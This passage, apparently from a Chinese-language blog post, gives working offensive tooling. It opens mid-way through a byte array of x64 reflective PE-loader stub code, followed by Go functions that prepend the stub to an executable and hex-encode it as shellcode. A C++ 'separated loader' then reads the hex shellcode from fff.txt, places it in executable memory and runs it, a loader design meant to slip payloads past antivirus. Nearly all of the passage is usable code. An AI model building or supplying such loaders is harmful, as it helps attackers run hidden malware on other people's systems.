0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x28, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x28, 0x81, 0x7C, 0x24, 0x28, 0x00, 0x40, 0x9C, 0x00, 0x0F,0x8D, 0xAF, 0x00, 0x00, 0x00, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x04, 0x01, 0x83, 0xF8, 0x4D, 0x0F, 0x85, 0x90, 0x00, 0x00, 0x00, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x01, 0x83, 0xF8, 0x5A, 0x75, 0x79, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8,0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x02, 0x3D, 0x90, 0x00, 0x00, 0x00, 0x75, 0x60, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x03, 0x85, 0xC0, 0x75, 0x4A, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x04, 0x83, 0xF8, 0x03, 0x75, 0x33, 0x48, 0x63, 0x44, 0x24,0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x05, 0x85, 0xC0, 0x75, 0x1D, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0xEB, 0x05, 0xE9, 0x39, 0xFF, 0xFF, 0xFF, 0x48, 0xC7, 0x84, 0x24, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xA8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x3C, 0x89, 0x84, 0x24, 0x30, 0x01, 0x00, 0x00, 0x48, 0x63, 0x84, 0x24, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00,0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x30, 0x48, 0x89, 0x84, 0x24, 0x80, 0x01, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x8B, 0xD0, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x01, 0x00, 0x00, 0xFF, 0x94,0x24, 0x00, 0x01, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x50, 0xC7, 0x84, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0x7C, 0x24, 0x50, 0x00, 0x75, 0x32, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x8B, 0xD0, 0x33, 0xC9, 0xFF, 0x94, 0x24, 0x00, 0x01, 0x00, 0x00, 0x48,0x89, 0x44, 0x24, 0x50, 0xC7, 0x84, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x89, 0x48, 0x30, 0xC7, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x10, 0x8B, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84,0x24, 0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x54, 0x39, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x73, 0x27, 0x48, 0x63, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x48, 0x63, 0x8C, 0x24, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x50, 0x4C, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x41, 0x0F, 0xB6, 0x04, 0x00, 0x88, 0x04, 0x0A, 0xEB, 0xB5, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00,0x48, 0x05, 0x08, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x48, 0x01, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x6C, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x6C, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x6C, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x40, 0x06, 0x39, 0x44, 0x24, 0x6C, 0x0F, 0x8D, 0xA1, 0x00, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0xEB, 0x10, 0x8B, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x63, 0x44, 0x24, 0x6C, 0x48, 0x6B, 0xC0, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0x48, 0x01, 0x00, 0x00, 0x8B, 0x44, 0x01, 0x10, 0x39, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x73, 0x61, 0x48, 0x63, 0x44, 0x24, 0x6C, 0x48, 0x6B, 0xC0, 0x28, 0x48, 0x8B, 0x8C, 0x24,0x48, 0x01, 0x00, 0x00, 0x8B, 0x44, 0x01, 0x14, 0x48, 0x8B, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x63, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x63, 0x54, 0x24, 0x6C, 0x48, 0x6B, 0xD2, 0x28, 0x4C, 0x8B, 0x84, 0x24, 0x48, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x54, 0x10, 0x0C, 0x4C, 0x8B, 0x44, 0x24, 0x50, 0x4C, 0x03, 0xC2, 0x49, 0x8B, 0xD0, 0x4C,0x63, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x04, 0x08, 0x42, 0x88, 0x04, 0x02, 0xE9, 0x71, 0xFF, 0xFF, 0xFF, 0xE9, 0x3F, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x50, 0x48, 0x89, 0x84, 0x24, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x3C, 0x89, 0x84, 0x24, 0x34, 0x01, 0x00, 0x00, 0x48, 0x63, 0x84, 0x24, 0x34, 0x01, 0x00, 0x00,0x48, 0x8B, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x60, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x60, 0x02, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xB8, 0x01, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x01, 0x48, 0x8B, 0x8C, 0x24, 0xB8,0x01, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x01, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x48, 0x89, 0x84, 0x24, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0x18, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x14, 0x48, 0x8B, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x14, 0x48, 0x89, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x02, 0x00, 0x00, 0x48, 0x39, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x0F, 0x83, 0x65, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24,0x08, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x18, 0x02, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x03, 0x44, 0x24, 0x50, 0x48, 0x89, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x83, 0x38, 0x00, 0x75, 0x13, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x83, 0x78, 0x10, 0x00, 0x75, 0x05, 0xE9, 0x22, 0x02, 0x00, 0x00, 0x48,0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xB0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x10, 0x48, 0x89, 0x84, 0x24, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0x58, 0x01,0x00, 0x00, 0x48, 0x83, 0xBC, 0x24, 0x58, 0x01, 0x00, 0x00, 0x00, 0x75, 0x13, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x10, 0x48, 0x89, 0x84, 0x24, 0x58, 0x01, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x70, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x83, 0xF8, 0x01, 0x0F, 0x84, 0x99,0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x03, 0x84, 0x24, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x03, 0x84, 0x24, 0x58, 0x01, 0x00,0x00, 0x48, 0x89, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0xB9, 0x00, 0x00, 0x00, 0x80, 0x48, 0x8B, 0x00, 0x48, 0x23, 0xC1, 0x48, 0x85, 0xC0, 0x75, 0x1D, 0x48, 0x8B, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x8B, 0x00, 0x48, 0x23, 0xC1, 0x48, 0x85, 0xC0, 0x74, 0x58, 0x48, 0x8B,0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x25, 0xFF, 0xFF, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x28, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xB0, 0x01, 0x00, 0x00, 0xFF, 0x94, 0x24, 0x60, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x28, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xD1, 0x48, 0x8B, 0xC8, 0xFF, 0x94, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x30,0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x30, 0x02, 0x00, 0x00, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x83, 0x38, 0x00, 0x75, 0x05, 0xE9, 0xB3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x09, 0x48, 0x39, 0x08, 0x75,0x6E, 0x48, 0x8B, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x38, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x38, 0x02, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x84, 0x24, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xB0, 0x01, 0x00, 0x00, 0xFF, 0x94, 0x24, 0x60, 0x01,0x00, 0x00, 0x48, 0x8B, 0x94, 0x24, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0xFF, 0x94, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x48, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x48, 0x02, 0x00, 0x00, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x84, 0x24, 0x70, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0x70,0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0xE9, 0x5C, 0xFE, 0xFF, 0xFF, 0xE9, 0x71, 0xFD, 0xFF, 0xFF, 0x83, 0xBC, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x0D, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x80, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48,0x8B, 0x44, 0x24, 0x50, 0x48, 0x89, 0x84, 0x24, 0x58, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x58, 0x02, 0x00, 0x00, 0x48, 0x2B, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x68, 0x02, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x05, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x01, 0x88,0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xC0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x48, 0x89, 0x84, 0x24, 0x98, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x01, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0x90, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x90, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8,0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x83, 0xE8, 0x08, 0x89, 0x84, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24,0x88, 0x01, 0x00, 0x00, 0xC7, 0x84, 0x24, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x83, 0xF8, 0x01, 0x0F, 0x84, 0x22, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0xE4, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0xE4, 0x00, 0x00, 0x00, 0xC7, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x8B, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x83, 0xC0,0x02, 0x89, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x8B, 0x84, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x39, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x0F, 0x8D, 0x83, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x88, 0x01, 0x00, 0x00, 0xB8, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x09, 0x66, 0x23, 0xC8, 0x0F,0xB7, 0xC1, 0x0F, 0xB7, 0xC0, 0x48, 0x8B, 0x8C, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x8B, 0x09, 0x03, 0xC8, 0x8B, 0xC1, 0x8B, 0xC0, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x03, 0x84, 0x24, 0x68, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xC8,0x01, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xE9, 0x58, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x83, 0x38, 0x00, 0x75, 0x02, 0xEB, 0x3E, 0x48, 0x8B,0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x83, 0xE8, 0x08, 0x89, 0x84, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x88, 0x01, 0x00, 0x00, 0xE9, 0xD3, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x84, 0x24,0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x28, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x70, 0x02, 0x00, 0x00, 0xFF, 0x94, 0x24, 0x70, 0x02, 0x00, 0x00, 0x48, 0x81, 0xC4, 0xC8, 0x02, 0x00, 0x00, 0xC3}

	// 读取源文件
	fileBuff, err := ioutil.ReadFile(path)
	if err != nil {
		fmt.Println("Error reading file:", err)
		return
	}

	// 创建合并后的缓冲区
	shellCodeBuff := append(hexData, fileBuff...)
	encryptedData := hex.EncodeToString(shellCodeBuff)
        byteSlice := []byte(encryptedData)
        // fmt.Println(byteSlice)
	

	// 写入输出文件
	err = ioutil.WriteFile(outPath,byteSlice, 0644)
	if err != nil {
		fmt.Println("Error writing file:", err)
		return
	}

	fmt.Println("Successfully wrote 64-bit shellcode to", outPath)
}

func Write32FileShellCode(path, outPath string) {
	hexData := []byte{0x55,}

	// 读取源文件
	fileBuff, err := ioutil.ReadFile(path)
	if err != nil {
		fmt.Println("Error reading file:", err)
		return
	}

	// 创建合并后的缓冲区
	shellCodeBuff := append(hexData, fileBuff...)
	encryptedData := hex.EncodeToString(shellCodeBuff)
        byteSlice := []byte(encryptedData)
        // fmt.Println(byteSlice)
	

	//写入输出文件
	err = ioutil.WriteFile(outPath, byteSlice, 0644)
	if err != nil {
		fmt.Println("Error writing file:", err)
		return
	}

	fmt.Println("Successfully wrote 32-bit shellcode to", outPath)
}

加载器

分离加载

#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
#pragma comment(lib, "wininet.lib")
#include <sstream>
using namespace std;
std::string wstringToString(const std::wstring& wstr) {
    std::string str(wstr.begin(), wstr.end());
    return str;
}
unsigned char hexCharToByte(char c) { //对hex编码后的shellcode进行解码
    if (c >= '0' && c <= '9') return c - '0';
    if (c >= 'a' && c <= 'f') return 10 + c - 'a';
    if (c >= 'A' && c <= 'F') return 16 + c - 'A';
    return 255;
}
std::string decodeHexString(const std::string& hexString) {
    // 计算解码后的数据长度,用来申请内存空间
    std::string decoded;
    if (hexString.length() % 2 != 0) {
        std::cerr << "Hex string has odd length." << std::endl;
        return decoded;
    }
    for (size_t i = 0; i < hexString.length(); i += 2) {
        unsigned char highNibble = hexCharToByte(hexString[i]);
        unsigned char lowNibble = hexCharToByte(hexString[i + 1]);
        if (highNibble == 255 || lowNibble == 255) {
            std::cerr << "Invalid hex character found." << std::endl;
            return decoded;
        }
        unsigned char byte = (highNibble << 4) | lowNibble;
        decoded.push_back(byte);
    }
    return decoded;
}

bool isFileExists(const std::string& file_path) {
    std::ifstream file(file_path);
    return file.good();
}


void depass_exe(const std::string& file_path) { //解码并加载shellcode
    std::ifstream input_file(file_path, std::ios::binary);
    if (!input_file) {
        std::cout << "Failed to open file!" << std::endl;
        return;
    }
    std::string encrypted_data((std::istreambuf_iterator<char>(input_file)), std::istreambuf_iterator<char>());
    input_file.close();
    std::string decrypted_data = decodeHexString(encrypted_data);
    const unsigned char* byte_sequence = reinterpret_cast<const unsigned char*>(decrypted_data.c_str());
    size_t byte_sequence_length = decrypted_data.length();

    LPVOID execMemory = VirtualAlloc(NULL, byte_sequence_length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


    memcpy(execMemory, byte_sequence, byte_sequence_length); //加载shellcode到内存
    typedef void (*ShellcodeFunc)();
    ShellcodeFunc shellcodeFunc = reinterpret_cast<ShellcodeFunc>(execMemory);
    shellcodeFunc();
    VirtualFree(execMemory, 0, MEM_RELEASE);

}
int main() {


    std::string file_path = "fff.txt";  //获取编码后的shellcode文件

    if (isFileExists(file_path)) {
        depass_exe(file_path);

        return 0;
    }
    else {
        return 0;
    }
}


猜您喜欢

3文章个数(个)
1本月更新(个)
1本周更新(个)
1今日更新(个)